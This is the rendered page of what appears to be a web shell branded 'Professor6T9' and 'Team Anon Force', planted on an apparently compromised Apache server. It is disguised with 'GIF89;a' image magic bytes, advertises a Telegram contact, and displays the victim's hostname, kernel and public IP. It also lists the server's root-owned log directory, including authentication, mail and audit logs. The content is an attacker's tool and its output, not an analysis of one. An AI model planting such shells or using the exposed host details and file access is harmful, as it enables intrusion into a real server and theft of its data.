GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux server.ecdc.com.eg 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
 Apache
 50.6.228.173
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0755 2026-06-06 03:29:35
.. dir - root/root 0755 2026-06-01 10:17:48
anaconda dir - root/root 0755 2024-10-22 01:08:52
apache2 dir - root/root 0711 2026-06-01 10:20:19
audit dir - root/root 0700 2026-06-05 12:01:04
chrony dir - chrony/chrony 0750 2026-04-08 08:49:39
cpanel-server-traffic dir - root/root 0700 2026-05-27 03:08:07
dcpumon dir - root/root 0700 2026-06-06 03:45:01
imunify360 dir - root/root 0700 2026-06-05 05:00:01
imunify360_user_logs dir - root/root 1777 2026-05-26 05:30:47
named dir - named/named 0755 2024-10-22 12:56:04
private dir - root/root 0700 2024-09-03 12:41:33
qemu-ga dir - root/root 0755 2026-04-16 06:17:35
rkhunter dir - root/root 0755 2026-05-30 05:00:03
sa dir - root/root 0755 2026-06-05 05:07:01
samba dir - root/root 0700 2026-05-21 10:32:42
sssd dir - sssd/sssd 0750 2026-05-21 11:25:02
sw-cp-server dir - root/root 0750 2024-04-26 07:13:56
tuned dir - root/root 0755 2026-04-09 05:44:41
ul_load_stats dir - root/root 0755 2026-03-07 05:00:02
README text/plain 1.02 KB root/root 0644 2022-10-31 02:59:18
btmp 6.49 MB root/utmp 0660 2026-06-06 03:44:41
btmp-20260601 64.08 MB root/utmp 0660 2026-05-31 04:59:54
chkservd.log 106.54 MB root/root 0600 2026-06-06 03:41:27
cloud-init-output.log 28.62 KB root/adm 0640 2026-05-25 07:48:55
cloud-init.log 539.42 KB root/root 0640 2026-05-25 07:48:55
comet_backup_jobs_helper.log 0 B root/root 0640 2026-04-29 03:50:01
cron 10.57 MB root/root 0600 2026-06-06 03:45:01
cron-20260510 13.7 MB root/root 0600 2026-05-09 05:00:03
cron-20260517 11.86 MB root/root 0600 2026-05-16 05:00:04
cron-20260524 11.48 MB root/root 0600 2026-05-23 05:00:01
cron-20260531 11.44 MB root/root 0600 2026-05-30 05:00:01
dnf.librepo.log text/plain 250.32 KB root/root 0644 2026-06-06 03:11:53
dnf.librepo.log.1 text/plain 1023.95 KB root/root 0644 2026-06-01 10:18:52
dnf.librepo.log.2 text/plain 1023.97 KB root/root 0644 2026-05-14 02:36:28
dnf.librepo.log.3 text/plain 1023.89 KB root/root 0644 2026-05-02 09:00:46
dnf.librepo.log.4 text/plain 1023.87 KB root/root 0644 2026-04-14 11:14:27
dnf.log text/plain 432.42 KB root/root 0644 2026-06-06 03:11:53
dnf.log.1 text/plain 1023.96 KB root/root 0644 2026-06-02 07:49:02
dnf.log.2 text/plain 1023.97 KB root/root 0644 2026-05-29 09:50:19
dnf.log.3 text/plain 1023.94 KB root/root 0644 2026-05-21 04:39:20
dnf.log.4 text/plain 1023.96 KB root/root 0644 2026-05-15 02:42:19
dnf.rpm.log text/plain 7.78 KB root/root 0644 2026-06-06 03:11:53
dnf.rpm.log.1 text/plain 1023.95 KB root/root 0644 2026-06-02 08:08:02
dpkg.log application/x-empty 0 B root/root 0644 2026-03-23 09:44:28
exim_mainlog 122.87 MB mailnull/mail 0640 2026-06-06 03:44:55
exim_mainlog-20260510.gz 19.59 MB mailnull/mail 0640 2026-05-09 04:59:48
exim_mainlog-20260517.gz 43.05 MB mailnull/mail 0640 2026-05-16 05:00:01
exim_mainlog-20260524.gz 8.91 MB mailnull/mail 0640 2026-05-23 04:59:43
exim_mainlog-20260531.gz 7 MB mailnull/mail 0640 2026-05-30 04:59:46
exim_paniclog 0 B mailnull/mail 0640 2026-06-01 04:12:33
exim_paniclog-20260510.gz 397 B mailnull/mail 0640 2026-05-08 01:57:49
exim_paniclog-20260517.gz 20 B mailnull/mail 0640 2026-05-09 05:00:03
exim_paniclog-20260524.gz 20 B mailnull/mail 0640 2026-05-16 05:00:07
exim_paniclog-20260531.gz 403 B mailnull/mail 0640 2026-05-24 07:36:34
exim_rejectlog 601.39 KB mailnull/mail 0640 2026-06-06 03:25:55
exim_rejectlog-20260510.gz 118.84 KB mailnull/mail 0640 2026-05-09 04:59:48
exim_rejectlog-20260517.gz 597.04 KB mailnull/mail 0640 2026-05-16 05:00:01
exim_rejectlog-20260524.gz 215.29 KB mailnull/mail 0640 2026-05-23 04:53:18
exim_rejectlog-20260531.gz 95.44 KB mailnull/mail 0640 2026-05-30 04:57:00
hawkey.log text/plain 26.95 KB root/root 0644 2026-06-06 03:39:01
hawkey.log-20260510 text/plain 29.36 KB root/root 0644 2026-05-09 04:46:52
hawkey.log-20260517 text/plain 32.7 KB root/root 0644 2026-05-16 04:39:01
hawkey.log-20260524 text/plain 28.95 KB root/root 0644 2026-05-23 04:39:01
hawkey.log-20260531 text/plain 27.48 KB root/root 0644 2026-05-30 04:39:01
imunify-agent-proxy.log text/plain 474.57 KB root/root 0644 2026-06-04 08:30:24
lastlog application/octet-stream 286.87 KB root/utmp 0664 2026-05-06 04:28:33
maillog 20.5 MB root/root 0600 2026-06-06 03:44:55
maillog-20260510 12.37 MB root/root 0600 2026-05-09 04:59:33
maillog-20260517 36.29 MB root/root 0600 2026-05-16 04:59:32
maillog-20260524 20.6 MB root/root 0600 2026-05-23 05:00:00
maillog-20260531 12.35 MB root/root 0600 2026-05-30 04:59:43
messages 2.57 MB root/root 0600 2026-06-06 03:42:02
messages-20260510 1.44 MB root/root 0600 2026-05-09 04:55:23
messages-20260517 1.99 MB root/root 0600 2026-05-16 04:57:35
messages-20260524 1.47 MB root/root 0600 2026-05-23 05:00:01
messages-20260531 3.77 MB root/root 0600 2026-05-30 04:57:34
mysql.log 0 B mysql/mysql 0640 2025-11-06 05:01:11
mysqld.log 769.14 KB mysql/mysql 0640 2026-06-06 01:10:53
secure 10.72 MB root/root 0600 2026-06-06 03:45:01
secure-20260510 14.94 MB root/root 0600 2026-05-09 05:00:01
secure-20260517 14.25 MB root/root 0600 2026-05-16 05:00:01
secure-20260524 15.37 MB root/root 0600 2026-05-23 05:00:01
secure-20260531 19.92 MB root/root 0600 2026-05-30 05:00:01
spooler 0 B root/root 0600 2026-05-30 05:00:03
spooler-20260510 0 B root/root 0600 2026-05-02 05:00:05
spooler-20260517 0 B root/root 0600 2026-05-09 05:00:03
spooler-20260524 0 B root/root 0600 2026-05-16 05:00:07
spooler-20260531 0 B root/root 0600 2026-05-23 05:00:01
tallylog 0 B root/root 0600 2025-11-06 05:01:08
wtmp application/octet-stream 108 KB root/utmp 0664 2026-06-01 10:24:25
xferlog.offsetftpsep application/octet-stream 1 B root/root 0644 2026-06-06 03:29:35
© Professor6T9